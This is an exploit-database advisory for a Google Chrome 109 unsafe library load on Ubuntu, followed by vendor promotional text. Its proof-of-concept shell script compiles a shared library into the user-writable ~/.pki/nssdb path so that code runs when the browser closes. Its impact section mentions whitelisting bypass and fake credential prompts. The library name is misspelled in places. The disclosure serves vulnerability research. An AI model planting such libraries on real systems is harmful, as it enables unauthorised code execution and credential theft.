Lucene search
K

Google Chrome 109.0.5414.74 Unsafe Library Load Vulnerability

🗓️ 28 Mar 2023 00:00:00Reported by Rafay BalochType 
zdt
 zdt
🔗 0day.today👁 301 Views

Google Chrome Unsafe Library Load Vulnerability discovered by Rafay Baloch and Muhammad Samak. Impact: Moderate. Company: Cyber Citadel. Version: 109.0.5414.7

Code
#Vulnerability: Google Chrome code execution via missing lib file (Ubuntu)
Product: Google Chrome
Discovered by: Rafay Baloch and Muhammad Samak
#Version: 109.0.5414.74
#Impact: Moderate
#Company: Cyber Citadel
#Website: https://www.cybercitadel.com
#Tested-on : Ubuntu 22.04.1

*Description*

Google chrome attempts to load the 'libssckbi.so' file from a user-writable location.
PATH: /home/$username/.pki/nssdb/libnssckbi.so
Since the Shared Library 'ibnssckbi.so' specified path is writeable.
It is possible to achieve the Code Execution by placing the malicious file with 
the name `libnssckbi.so` in the specified path.



*exploit*

Following is the POC that could be used to reproduce the issue:

echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..."
echo "[*] Checking /.pki/nssdb PATH"
if [ -d "/home/haalim/.pki/nssdb" ]
then

  echo "[+] Directory Exists..."
  if [ -w "/home/haalim/.pki/nssdb" ]
  then
    echo "[+] Directory is writable..."

    echo "[+] Directory is writable..."
    echo "[+] Generating malicious File libnssckbi.so ..."
      echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c
      echo "#include <unistd.h>" >> /home/haalim/.pki/nssdb/exploit.c
      echo "#include <stdio.h>" >> /home/haalim/.pki/nssdb/exploit.c
      echo "#include <stdlib.h>" >> /home/haalim/.pki/nssdb/exploit.c
      echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c
      echo 'printf("Code Executed............ TMGM :)\n");' >> /home/haalim/.pki/nssdb/exploit.c
      echo "}" >> /home/haalim/.pki/nssdb/exploit.c
      gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o 
      gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o 


  fi

fi

Upon closing the browser windows, the application executes the malicious code


*Impact*

The attacker can use this behavior to bypass the application whitelisting rules.
This behavior can also lead to DoS attacks.
An attacker can trick a victim into supplying credentials by creating a fake prompt.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation